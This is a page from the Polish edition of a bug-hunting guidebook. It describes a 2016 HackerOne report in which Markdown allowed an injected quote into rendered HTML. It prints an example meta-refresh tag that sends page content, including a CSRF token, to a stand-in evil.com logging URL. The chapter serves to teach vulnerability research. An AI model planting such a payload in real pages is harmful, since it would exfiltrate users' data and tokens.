Читать книгу Na tropie błędów. Przewodnik hakerski - Peter Yaworski - Страница 36

5.
HTML INJECTION I FAŁSZOWANIE TREŚCI
Dodanie kodu HTML w serwisie HackerOne

Оглавление

Poziom trudności: Średni

URL: https://hackerone.com/reports/

Źródło: https://hackerone.com/reports/110578/

Data zgłoszenia: 13 stycznia 2016

Nagroda: 500 $

Następny przykład wymaga znajomości języka Markdown, Reacta i obiektowego modelu dokumentu (DOM), dlatego najpierw omówię te tematy, a następnie wytłumaczę, w jaki sposób doprowadziły one do powstania dwóch powiązanych ze sobą błędów.

Markdown to rodzaj języka znaczników, który używa specyficznej składni do generowania kodu HTML. Na przykład Markdown przetłumaczy zwykły tekst poprzedzony symbolem kratki (#) i zwróci HTML sformatowany w znacznikach nagłówka. Oznaczenie # Some Content zwróci <h1>Some Content</h1>. Deweloperzy często używają języka Markdown w edytorach stron internetowych, ponieważ jest on łatwy w użyciu. W dodatku na stronach, które pozwalają użytkownikom wprowadzać tekst, deweloperzy nie muszą się martwić formatowaniem HTML-a, ponieważ edytor robi  to za nich.

Błędy które omówimy w tym przykładzie, korzystały ze składni Markdowna do wygenerowania tagu <a> (zwanego też kotwicą) z atrybutrem title. Domyślnie składnia służąca do tego wygląda tak:

[test](https://torontowebsitedeveloper.com "Your title tag here")

Tekst, który ma się wyświetlać, znajduje się w kwadratowym nawiasie, a adres URL, do którego przekierowuje link, jest umieszczony między okrągłymi nawiasami razem z atrybutem title umieszczonym w cudzysłowie. Taka składnia generuje następujący kod HTML:

<a href="https://torontowebsitedeveloper.com" title="Your title tag here">test</a>

W styczniu 2016 roku bug hunter Inti De Ceukelaire zauważył, że edytor Markdown w serwisie HackerOne został źle skonfigurowany; w wyniku tego atakujący mógł dodać pojedynczy cudzysłów do składni Markdowna,  który następnie był umieszczany w wygenerowanym HTML-u. Błąd działał w każdym miejscu, w którym HackerOne używał edytora Markdown, zarówno na stronach administracyjnych programów bug bounty, jak i raportach. Jest to znaczący fakt: jeśli atakujący znalazłby kolejną podatność na stronie administracyjnej i dodałby kolejny cudzysłów na początku witryny w tagu <meta> (albo dodając tag <meta>, albo dodając kod do tagu <meta>), mógłby wykorzystać przetwarzanie HTML-a w przeglądarce do modyfikacji zawartości strony. Powodem jest to, że tagi <meta> wymuszają na przeglądarkach odświeżanie strony przez adres URL zdefiniowany w atrybucie content w środku znacznika. Podczas renderowania strony przeglądarka wykona zapytanie GET do podanego adresu URL. Zawartość strony może zostać wysłana w postaci parametru żądania GET, co atakujący może wykorzystać, aby wydobyć dane ofiary. Poniżej zobaczysz przykład, jak mógłby wyglądać złośliwy tag <meta> ze wstrzykniętym  cudzysłowem:

<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=

0 określa jak długo przeglądarka będzie czekać przed wykonaniem żądania HTTP na wskazany URL. W tym przypadku przeglądarka wykona zapytanie do https://evil.com/log.php?text= od razu. Żądanie HTTP dołączyłoby całą zawartość między pojedynczym cudzysłowem na początku atrybutu content a drugim cudzysłowem dodanym przez atakującego przy użyciu edytora Markdown na stronie. Oto przykład:

<html>

<head>

<meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=

</head>

<body>

<h1>Some content</h1>

--cięcie–

<input type="hidden" name="csrf- token" value= "ab34513cdfe123ad1f">

–-cięcie--

<p>wejście atakującego ' </p>

--cięcie–

</body>

</html>

Zawartość strony od pierwszego cudzysłowu po atrybucie content w  do wpisanego przez atakującego cudzysłowu w  zostałaby wysłana do atakującego jako część parametru text w adresie URL. Dodatkowo zostałby dołączony token CSRF z ukrytego formularza.

Dla HackerOne zagrożenie ze strony HTML injection nie byłoby problemem, ponieważ do wyświetlania dokumentów HTML używa frameworka React. React to biblioteka Facebooka stworzona do dynamicznej aktualizacji strony, bez potrzeby przeładowywania jej całej. Kolejną zaletą korzystania z Reacta jest to, że framework pominie cały kod HTML, chyba że w kodzie JavaScript zostanie użyta funkcja dangeroslySetInnerHTML do bezpośredniej aktualizacji DOM-a i renderowania dokumentu HTML (DOM to API dla dokumentów HTML i XML, które pozwala deweloperom na modyfikowanie struktury, wyglądu i zawartości witryny przez JavaScript). Jak się okazuje, serwis HackerOne korzystał z dangeroslySetInnerHTML, ponieważ ufał pochodzeniu kodu HTML, który otrzymywał ze swoich serwerów; tym samym dodawał kod HTML bezpośrednio  do DOM-a.

Mimo że De Ceukelaire nie potrafił wykorzystać tej podatności, udało mu się zidentyfikować strony, na których mógł dodać cudzysłów, dzięki czemu HackerOne wyświetlał token CSRF. Teoretycznie więc, jeśli HackerOne kiedykolwiek zmieniłby kod tak, że atakujący byłby w stanie dodać kolejny cudzysłów w tagu <meta> na tej samej stronie, mógłby wykraść token ofiary i wykonać atak CSRF.

Wnioski

Zrozumienie niuansów tego, jak przeglądarki renderują HTML i reagują na niektóre znaczniki HTML otwiera nowe możliwości ataku. Co prawda nie wszystkie programy zaakceptują zgłoszenia o potencjalnych możliwościach ataków, jednak ta wiedza będzie Ci pomocna w poszukiwaniu innych podatności. Badacz FileDescriptor w świetny sposób wyjaśnił exploit z użyciem tagu <meta> na https://blog.innerht.ml/csp-2015/#contentexfiltration, co bardzo polecam Ci sprawdzić.

Na tropie błędów. Przewodnik hakerski

Подняться наверх